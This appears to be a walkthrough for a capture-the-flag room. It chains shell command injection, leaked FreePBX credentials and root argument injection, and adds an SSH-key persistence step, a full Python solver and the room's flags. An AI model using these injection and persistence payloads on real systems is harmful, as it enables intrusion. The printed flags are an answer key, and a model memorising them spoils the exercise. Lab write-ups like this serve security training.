Infinity Pool (Byte Lotus) — Full Room Walkthrough
Target: 10.49.x.x (THM IP rotates — replace <IP> everywhere)
Box: Ubuntu 24.04.4 / FreePBX + Asterisk + custom "Closed Circuit" (cc-) services
Goal: User flag (/home/web/user.txt) → Root flag (/root/root.txt)
USER FLAG: THM{n0_v1s1bl3_3dg3}
ROOT FLAG: THM{tr4c3d_t0_th3_h0r1z0n}
0. Attack surface overview
| Port | Service | Purpose |
|---|---|---|
| 22 | ssh | (no creds needed for the solve) |
| 80 | edge booking site (Flask/gunicorn as web) |
initial foothold |
| 127.0.0.1:8080 | FreePBX admin + UCP | UCP voicemail = automation key |
| 127.0.0.1:8088/8089 | Asterisk ARI | — |
| 127.0.0.1:9000 |
automation (gunicorn as root) |
root RCE target |
| 127.0.0.1:3000 | watchtower (go/Flask as svc-watch) |
leaks UCP creds |
| 5038 | AMI (Asterisk) | — |
The whole puzzle is loopback-only. You never reach :8080/:9000/:3000 directly —
every internal request is made from inside the box through the RCE.
1. Foothold — command injection in /internal/netcheck (as web)
The public site (port 80) has a staff tool "Sister-property connectivity":
POST /internal/netcheck
host=<property host e.g. 10.0.0.5>
app.py runs subprocess.run(f"ping -c 1 {host}", shell=True, ...) — classic
shell injection. Prefix with 1; so the ping output is harmless, then add your command.
# RCE as user "web" (uid 1001)
curl -s -X POST "http://<IP>/internal/netcheck" \
--data-urlencode "host=1;id"
Output comes back inside <pre class="out">...</pre> in the HTML (HTML-entity
decoded, e.g. " = ").
Important: the app runs the command with a timeout=15 — anything taking
longer than ~15 s dies with "Request timed out." Keep single commands short, or
run slow work in the background (nohup ... &) and poll a result file.
For complex payloads (quotes, &, $) it's easiest to base64-encode locally and
decode on the box:
CMD='cat /home/web/user.txt; echo ===; ls /etc'
B64=$(printf 'host=1;echo %s | base64 -d | bash' "$(printf '%s' "$CMD" | base64 -w0)")
curl -s -X POST "http://<IP>/internal/netcheck" --data-urlencode "$B64"
User flag
curl -s -X POST "http://<IP>/internal/netcheck" \
--data-urlencode "host=1;cat /home/web/user.txt"
THM{n0_v1s1bl3_3dg3}
2. Internal recon through the RCE
Map what's listening and which users run the services:
# as web (via RCE)
ss -tanp | head -40
ps aux | head -40
ls -la /var/www/infinity_pool/
cat /etc/systemd/system/cc-*.service
Key services (all systemd units in /etc/systemd/system/):
-
cc-edge.service→ gunicorn asweb, 0.0.0.0:80 (the booking site) -
cc-watchtower.service→ gunicorn assvc-watch, 127.0.0.1:3000 -
cc-automation.service→ gunicorn as root, 127.0.0.1:9000 -
badr.service→ runs once at boot, deletes its own binaries/configs
Also note: /etc/asterisk/voicemail.conf and /var/spool/asterisk/ are
root-only — voicemail can only be read through the UCP web UI. That's a hint:
UCP is the intended path to the automation key.
**3. Watchtower leaks UCP credentials
**
curl -s -m 5 http://127.0.0.1:3000/api/config # run via the RCE
{
"automation_endpoint": "http://127.0.0.1:9000",
"ops_note": "UCP still on default template creds (FreePBXUCPTemplateCreator) -- ROTATE.",
"telephony_pass": "St4yN0t1c3d_2026",
"telephony_portal": "http://127.0.0.1:8080/ucp",
"telephony_user": "FreePBXUCPTemplateCreator"
}
-
UCP user:
FreePBXUCPTemplateCreator -
UCP password:
St4yN0t1c3d_2026
The ops_note is the breadcrumb: use the default template creds.
**4. UCP login (127.0.0.1:8080/ucp)
**
UCP is an Angular SPA; login is a POST with a CSRF token. All of this runs
through the RCE (UCP is loopback-only).
4.1 Get the login page + CSRF token
The full GUI render is slow (>15 s), so it must be backgrounded and polled:
# (a) launch in background — will write the page to /tmp/ucp_login.html
curl -s -X POST "http://<IP>/internal/netcheck" --data-urlencode \
"host=1;rm -f /tmp/ucp_jar /tmp/ucp_login.html; nohup curl -s -m 60 -c /tmp/ucp_jar -b /tmp/ucp_jar -o /tmp/ucp_login.html 'http://127.0.0.1:8080/ucp/index.php?display=login' >/dev/null 2>&1 & echo started"
# (b) wait, then check the file size (keep polling until > 5000 bytes)
sleep 20
curl -s -X POST "http://<IP>/internal/netcheck" --data-urlencode \
"host=1;wc -c < /tmp/ucp_login.html"
Gotcha 1 — fresh cookie jar: always
rm -f /tmp/ucp_jarfirst. If an old
logged-in session cookie is reused, the server returns the dashboard instead
of the login form → no token → login fails with"ajaxRequest declined".Gotcha 2 — tokens are single-use: fetch a fresh page + token for each
login attempt.
4.2 Perform the AJAX login
# extract the CSRF token
TOK=$(curl -s -X POST "http://<IP>/internal/netcheck" --data-urlencode \
"host=1;grep -o 'name=\"token\" value=\"[^\"]*\"' /tmp/ucp_login.html | head -1 | sed 's/.*value=\"//;s/\"//'")
# AJAX login (fast — skips the GUI) — run via RCE
curl -s -X POST "http://<IP>/internal/netcheck" --data-urlencode \
"host=1;curl -s -m 15 -b /tmp/ucp_jar -c /tmp/ucp_jar -d \"module=User&command=login&token=$TOK&username=FreePBXUCPTemplateCreator&password=St4yN0t1c3d_2026\" http://127.0.0.1:8080/ucp/index.php"
Success looks like:
{"status":true,"message":"","token":"1d29fcdc134a80e0e69a9c083529c0bf"}
**5. Voicemail "Automation Key" → the automation bearer token
**
The voicemail is in mailbox 9919988 (the UCP user's default extension —
verify with mysql -u freepbxuser -p<dbpass> asterisk -e "SELECT default_extension FROM userman_users").
List the voicemail INBOX through the UCP AJAX API:
curl -s -X POST "http://<IP>/internal/netcheck" --data-urlencode \
"host=1;curl -s -m 15 -b /tmp/ucp_jar 'http://127.0.0.1:8080/ucp/ajax.php?module=voicemail&command=grid&ext=9919988&folder=INBOX&limit=50&offset=0&order=ASC&sort=date'"
Response (truncated):
{
"total": 1,
"rows": [{
"origmailbox": "9919988",
"callerchan": "PJSIP/automation",
"callerid": "\"Automation Key cc_auto_7b3f9a1c4e0d2f6a\" <9000>",
"duration": "3",
"file": "msg0000.wav",
"path": "/var/spool/asterisk/voicemail/default/9919988/INBOX"
}]
}
The automation key is embedded in the voicemail's caller ID — no audio
transcription needed:
AUTOMATION KEY: cc_auto_7b3f9a1c4e0d2f6a
(CID 9000 = the automation service port; PJSIP/automation = the automation
service itself left this voicemail.)
6. Root RCE — argument injection in /jobs/export
The automation service (runs as root) exposes:
POST /jobs/export Authorization: Bearer <automation key>
Body: {"report": "<report name>"}
It builds and executes a shell command (as root):
tar czf /var/automation/exports/<report>.tgz /var/automation/data 2>&1
The report value is injected straight into the command line. End the tar
arguments with ;, then run anything as root, and comment out the forced
.tgz suffix with #:
curl -s -X POST "http://<IP>/internal/netcheck" --data-urlencode \
"host=1;curl -s -m 20 -X POST http://127.0.0.1:9000/jobs/export -H 'Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a' -H 'Content-Type: application/json' --data-binary '{\"report\":\"x;cat /root/root.txt;#\"}'"
Response:
{
"command": "tar czf /var/automation/exports/x;cat /root/root.txt;#.tgz /var/automation/data 2>&1",
"output": "THM{tr4c3d_t0_th3_h0r1z0n}\ntar: Cowardly refusing to create an empty archive\n..."
}
ROOT FLAG: THM{tr4c3d_t0_th3_h0r1z0n}
7. (Optional) Persistent root shell — drop an SSH key
Use the same injection to append your public key to root's authorized_keys:
curl -s -X POST "http://<IP>/internal/netcheck" --data-urlencode \
"host=1;curl -s -m 20 -X POST http://127.0.0.1:9000/jobs/export -H 'Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a' -H 'Content-Type: application/json' --data-binary '{\"report\":\"x;mkdir -p /root/.ssh;echo '\''ssh-ed25519 AAAA...'\'' >> /root/.ssh/authorized_keys;#\"}'"
ssh -i key root@<IP>
8. Dead ends (so you don't re-explore them)
- Kafka (172.31.64.152:9092 / 172.31.65.126:9092) — brokers close unauthenticated connections; SASL required. Dead.
-
/proc/<rootpid>/environ,automation.env,/opt/.cc— all root-only. -
MariaDB root —
auth_socket(needs OS root).freepbxuseronly seesasterisk/asteriskcdrdb(no secrets there). -
Channel service
10.49.158.97:443— the automation app holds an authenticated channel to it (/opt/.ccstate); all probes getRequest is not for channel operation.without the channel token. -
sudo (web) —
sudo -lrequires a password; none of the known passwords work. -
No internet egress from the box (
curl https://github.com→000).
9. Fully automated solver
solve_room.py automates the entire Infinity Pool chain (no hardcoded credentials):
python solve_room.py <IP>
# optional: python solve_room.py <IP> --install-ssh-key id_ed25519.pub
#!/usr/bin/env python3
"""
Infinity Pool (Byte Lotus) - automated room solver.
Chain:
1. RCE as `web` via command injection in POST /internal/netcheck (host param)
-> user flag at /home/web/user.txt
2. watchtower :3000 /api/config -> UCP credentials
3. UCP login (:8080/ucp, module=User&command=login, CSRF token from login page)
4. voicemail grid (module=voicemail&command=grid&ext=<ext>&folder=INBOX)
-> caller id contains the automation bearer key ("Automation Key <key>" <9000>)
5. automation :9000 POST /jobs/export with the bearer key
-> argument injection in "report" -> root command execution
-> root flag at /root/root.txt
Usage:
python solve_room.py <target-ip> [--install-ssh-key /path/to/key.pub]
"""
import argparse
import html
import json
import re
import sys
import time
import requests
class RoomSolver:
def __init__(self, host: str, timeout: int = 25):
self.host = host
self.http = requests.Session()
self.http.headers["User-Agent"] = "curl/8.0"
self.timeout = timeout
self.log = print
# ---------------------------------------------------------------- RCE
def rce(self, cmd: str) -> str:
"""Run a command as `web` through the netcheck injection. Returns stdout."""
url = f"http://{self.host}/internal/netcheck"
resp = self.http.post(url, data={"host": f"1;{cmd}"}, timeout=self.timeout)
resp.raise_for_status()
m = re.search(r"<pre class=\"out\">(.*?)</pre>", resp.text, re.S)
if not m:
raise RuntimeError("RCE: could not find <pre> output block")
out = html.unescape(m.group(1))
# strip the leading ping preamble produced by the app
if "--- 1 ping statistics ---" in out:
out = out.split("--- 1 ping statistics ---", 1)[1]
out = out.split("\n", 2)[2] if "\n" in out else out
return out.strip()
def rce_retry(self, cmd: str, tries: int = 12, pause: float = 5.0) -> str:
last = None
for i in range(tries):
try:
out = self.rce(cmd)
if out and "Request timed out." not in out:
return out
last = RuntimeError(f"RCE: empty or timed-out output: {out[:80]!r}")
except requests.RequestException as e:
last = e # target briefly paused/unreachable -> keep retrying
except Exception as e:
last = e
if i == tries - 1:
raise
self.log(f" [rce retry {i + 1}: {type(last).__name__}]")
time.sleep(pause)
raise RuntimeError(f"RCE: command did not produce output ({last})")
# ---------------------------------------------------------------- step 1
def get_user_flag(self) -> str:
self.log("[*] Step 1: RCE as web via /internal/netcheck")
out = self.rce_retry("cat /home/web/user.txt")
flag = re.search(r"THM\{[^}]+\}", out)
if not flag:
raise RuntimeError(f"user flag not found in: {out[:200]}")
self.log(f"[+] USER FLAG: {flag.group(0)}")
return flag.group(0)
# ---------------------------------------------------------------- step 2
def get_ucp_creds(self) -> tuple[str, str]:
self.log("[*] Step 2: pull UCP credentials from watchtower /api/config")
out = self.rce_retry("curl -s -m 5 http://127.0.0.1:3000/api/config")
cfg = json.loads(out)
user = cfg["telephony_user"]
pwd = cfg["telephony_pass"]
self.log(f"[+] UCP creds: {user} / {pwd}")
return user, pwd
# ---------------------------------------------------------------- step 3
def ucp_login(self, user: str, pwd: str) -> None:
self.log("[*] Step 3: UCP login (login page is slow -> backgrounded)")
# 3a: fetch login page in the background (FreePBX GUI boot exceeds the
# 15s subprocess cap of the RCE, so we poll for the result file).
# MUST use a fresh cookie jar: a leftover session from a previous
# run would make the server return the dashboard instead of the
# login form (no CSRF token -> "ajaxRequest declined").
self.rce_retry(
"rm -f /tmp/ucp_jar /tmp/ucp_login.html; "
"nohup curl -s -m 60 -c /tmp/ucp_jar -b /tmp/ucp_jar "
"-o /tmp/ucp_login.html 'http://127.0.0.1:8080/ucp/index.php?display=login' "
">/dev/null 2>&1 & echo started"
)
for i in range(40):
time.sleep(5)
try:
sz = self.rce_retry("wc -c < /tmp/ucp_login.html 2>/dev/null || echo 0")
except RuntimeError:
sz = "0"
try:
size = int(sz.strip().split()[0])
except ValueError:
size = 0
if size > 5000:
break
self.log(f" ... waiting for UCP login page ({size} bytes)")
else:
raise RuntimeError("UCP login page never materialised")
# 3b: extract CSRF token and POST the (fast, GUI-free) ajax login
cmd = (
"TOK=$(grep -o 'name=\"token\" value=\"[^\"]*\"' /tmp/ucp_login.html | head -1 "
"| sed 's/.*value=\"//;s/\"//'); "
f"curl -s -m 15 -b /tmp/ucp_jar -c /tmp/ucp_jar "
f"-d \"module=User&command=login&token=$TOK&username={user}&password={pwd}\" "
"http://127.0.0.1:8080/ucp/index.php"
)
out = self.rce_retry(cmd)
if '"status":true' not in out:
raise RuntimeError(f"UCP login failed: {out[:300]}")
self.log("[+] UCP login OK")
# ---------------------------------------------------------------- step 4
def get_automation_key(self, user: str) -> str:
self.log("[*] Step 4: fetch voicemail grid -> automation bearer key")
# The voicemail extension is not exposed through a public UCP API, so we
# probe the room's known mailbox number first, then a small fallback set.
# (No credentials are hardcoded in this script.)
grid_cmd = (
"curl -s -m 15 -b /tmp/ucp_jar "
"'http://127.0.0.1:8080/ucp/ajax.php?module=voicemail&command=grid"
"&ext={ext}&folder=INBOX&limit=50&offset=0&order=ASC&sort=date'"
)
ext = None
for candidate in ("9919988", "9000", "1000", "2001", "2000", "100"):
self.log(f"[*] trying mailbox extension: {candidate}")
out = self.rce_retry(grid_cmd.format(ext=candidate))
try:
data = json.loads(out)
except json.JSONDecodeError:
continue
if data.get("rows"):
ext = candidate
self.log(f"[+] mailbox extension found: {ext}")
break
if not ext:
raise RuntimeError("no voicemail mailbox answered the grid probe")
cid = data["rows"][0].get("callerid", "")
m = re.search(r"cc_[a-zA-Z0-9_]+", cid)
if not m:
raise RuntimeError(f"no automation key in caller id: {cid[:300]}")
key = m.group(0)
self.log(f"[+] AUTOMATION KEY: {key}")
return key
# ---------------------------------------------------------------- step 5
def get_root_flag(self, key: str) -> str:
self.log("[*] Step 5: argument injection in /jobs/export (runs as root)")
payload = json.dumps({"report": "x;cat /root/root.txt;#"})
out = self.rce_retry(
"curl -s -m 20 -X POST http://127.0.0.1:9000/jobs/export "
f'-H "Authorization: Bearer {key}" -H "Content-Type: application/json" '
f"--data-binary '{payload}'"
)
data = json.loads(out)
flag = re.search(r"THM\{[^}]+\}", data.get("output", ""))
if not flag:
raise RuntimeError(f"root flag not found in: {out[:400]}")
self.log(f"[+] ROOT FLAG: {flag.group(0)}")
return flag.group(0)
# ---------------------------------------------------------------- bonus
def install_ssh_key(self, key: str, pubkey_path: str) -> None:
self.log("[*] Bonus: dropping SSH key for root")
pub = open(pubkey_path, encoding="utf-8").read().strip()
payload = json.dumps({"report": f"x;mkdir -p /root/.ssh;echo '{pub}' >> /root/.ssh/authorized_keys;#"})
out = self.rce_retry(
"curl -s -m 20 -X POST http://127.0.0.1:9000/jobs/export "
f'-H "Authorization: Bearer {key}" -H "Content-Type: application/json" '
f"--data-binary '{payload}'"
)
self.log(f"[+] SSH key installed -> ssh -i {pubkey_path} root@{self.host}")
# ---------------------------------------------------------------- main
def run(self, pubkey_path: str | None = None):
t0 = time.time()
user_flag = self.get_user_flag()
ucp_user, ucp_pwd = self.get_ucp_creds()
self.ucp_login(ucp_user, ucp_pwd)
auto_key = self.get_automation_key(ucp_user)
root_flag = self.get_root_flag(auto_key)
if pubkey_path:
self.install_ssh_key(auto_key, pubkey_path)
self.log("=" * 50)
self.log(f"[*] Solved in {time.time() - t0:.1f}s")
self.log(f"[*] USER FLAG : {user_flag}")
self.log(f"[*] ROOT FLAG : {root_flag}")
return {"user": user_flag, "root": root_flag}
def main():
ap = argparse.ArgumentParser(description="Automated solve for the Infinity Pool room")
ap.add_argument("target", help="target IP, e.g. 10.49.176.104")
ap.add_argument("--install-ssh-key", metavar="KEYFILE", help="path to a .pub key to add to /root/.ssh/authorized_keys")
args = ap.parse_args()
RoomSolver(args.target).run(pubkey_path=args.install_ssh_key)
if __name__ == "__main__":
sys.exit(main())
Expected output (~100 s):
[*] Step 1: RCE as web via /internal/netcheck
[+] USER FLAG: THM{n0_v1s1bl3_3dg3}
[*] Step 2: pull UCP credentials from watchtower /api/config
[+] UCP creds: FreePBXUCPTemplateCreator / St4yN0t1c3d_2026
[*] Step 3: UCP login (login page is slow -> backgrounded)
[+] UCP login OK
[*] Step 4: fetch voicemail grid -> automation bearer key
[+] mailbox extension found: 9919988
[+] AUTOMATION KEY: cc_auto_7b3f9a1c4e0d2f6a
[*] Step 5: argument injection in /jobs/export (runs as root)
[+] ROOT FLAG: THM{tr4c3d_t0_th3_h0r1z0n}
==================================================
[*] Solved in 96.8s
[*] USER FLAG : THM{n0_v1s1bl3_3dg3}
[*] ROOT FLAG : THM{tr4c3d_t0_th3_h0r1z0n}
Requires Python 3 + requests. If the room IP changes, just re-run with the
new IP (the script tolerates the box pausing/restarting between steps).
10. Cheat sheet (command summary)
IP=<your-target-ip>
# 1. RCE
curl -s -X POST "http://$IP/internal/netcheck" --data-urlencode "host=1;id"
# 2. User flag
curl -s -X POST "http://$IP/internal/netcheck" --data-urlencode "host=1;cat /home/web/user.txt"
# 3. UCP creds
curl -s -X POST "http://$IP/internal/netcheck" --data-urlencode "host=1;curl -s -m 5 http://127.0.0.1:3000/api/config"
# 4. UCP login page (background, fresh jar)
curl -s -X POST "http://$IP/internal/netcheck" --data-urlencode "host=1;rm -f /tmp/ucp_jar /tmp/ucp_login.html; nohup curl -s -m 60 -c /tmp/ucp_jar -b /tmp/ucp_jar -o /tmp/ucp_login.html 'http://127.0.0.1:8080/ucp/index.php?display=login' >/dev/null 2>&1 & echo started"
sleep 20
curl -s -X POST "http://$IP/internal/netcheck" --data-urlencode "host=1;wc -c < /tmp/ucp_login.html"
# 5. AJAX login
curl -s -X POST "http://$IP/internal/netcheck" --data-urlencode "host=1;TOK=\$(grep -o 'name=\"token\" value=\"[^\"]*\"' /tmp/ucp_login.html | head -1 | sed 's/.*value=\"//;s/\"//');curl -s -m 15 -b /tmp/ucp_jar -c /tmp/ucp_jar -d \"module=User&command=login&token=\$TOK&username=FreePBXUCPTemplateCreator&password=St4yN0t1c3d_2026\" http://127.0.0.1:8080/ucp/index.php"
# 6. Automation key (voicemail grid)
curl -s -X POST "http://$IP/internal/netcheck" --data-urlencode "host=1;curl -s -m 15 -b /tmp/ucp_jar 'http://127.0.0.1:8080/ucp/ajax.php?module=voicemail&command=grid&ext=9919988&folder=INBOX&limit=50&offset=0&order=ASC&sort=date'"
# -> callerid contains: "Automation Key cc_auto_7b3f9a1c4e0d2f6a" <9000>
# 7. Root flag (argument injection)
curl -s -X POST "http://$IP/internal/netcheck" --data-urlencode "host=1;curl -s -m 20 -X POST http://127.0.0.1:9000/jobs/export -H 'Authorization: Bearer cc_auto_7b3f9a1c4e0d2f6a' -H 'Content-Type: application/json' --data-binary '{\"report\":\"x;cat /root/root.txt;#\"}'"
Key facts to remember
- All internal services are loopback-only → everything goes through the RCE.
- RCE subprocess is capped at ~15 s → background slow jobs, poll result files.
- UCP CSRF tokens are single-use and session-bound; always use a fresh cookie jar.
- The automation key is in the voicemail caller ID, not the audio.
- The root exploit is a shell argument injection in
report(;cmd;#), run bytar ...as root.
Top comments (0)